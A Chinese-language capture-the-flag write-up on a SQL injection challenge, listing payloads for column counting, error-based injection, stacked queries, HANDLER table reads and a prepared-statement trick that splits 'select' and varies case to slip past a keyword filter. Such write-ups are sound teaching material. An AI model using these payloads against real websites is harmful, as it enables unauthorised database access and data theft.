一进去
1‘ 提交 判断 是否报错
很明显存在注入点
MariaDB就是mysql的数据库好像
虽然没必要用Python 但是为了练练Python
整个过程走完还是有必要 用Python 再来一遍
payload1: 判断列数 1' order by 2 #
得出2列
使用 union select
用正则强行过滤 就别考虑 编码 双写什么的了 浪费时间
而且这题已经给出了提示 说明存在源码的可能性很小
构造报错注入 1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
其实也就那样了还是要用到select 用handler 首先也要知道 表名是啥
盲注试过了 没用
各个注入测测 最后只有堆叠 好用
payload: 1';show tables#
直接把输入框当数据库玩
这里看到一串数字 猜测 flag在这个表里
然后看字段payload : -1'; show columns from `表名`#
看到flag
但是 要继续找 还是要用到select 这里用handler 好像也行 就是比较少见 但是非常方便
比如 payload: -1';handler `1919810931114514` open;handler `1919810931114514` read first;# handler主要是用来查表中数据 它甚至可以不用知道字段值 read first 读取表中数据第一行 结果:
另一种 是通过预编译 进行绕过 select
payload: -1';set @sql=('se','lect * from `1919810931114514`;'); prepare x from @sql;EXECUTE x;# //预编译语句 先将拼接的搜索语句传给 @sql 再为它取个别名 用EXECUTE 刷新声明执行 搜索语句
这才是出题者的套路 不知道 它有想过 有大佬 能想到 handler 嘛?
strstr函数存在的小漏洞是 简单匹配set 但是不会匹配到Set 而 我们输入 Set 不影响我们预编译代码执行 因为对面是windows系统 不区分大小写
payload : -1';Set @sql=concat('se','lect * from `1919810931114514`;');Prepare x from @sql;EXECUTE x;#
出来!
然后我再用Python 编个poc 简单找flag 把语句放进去就行了 主要是 嗯 专业 !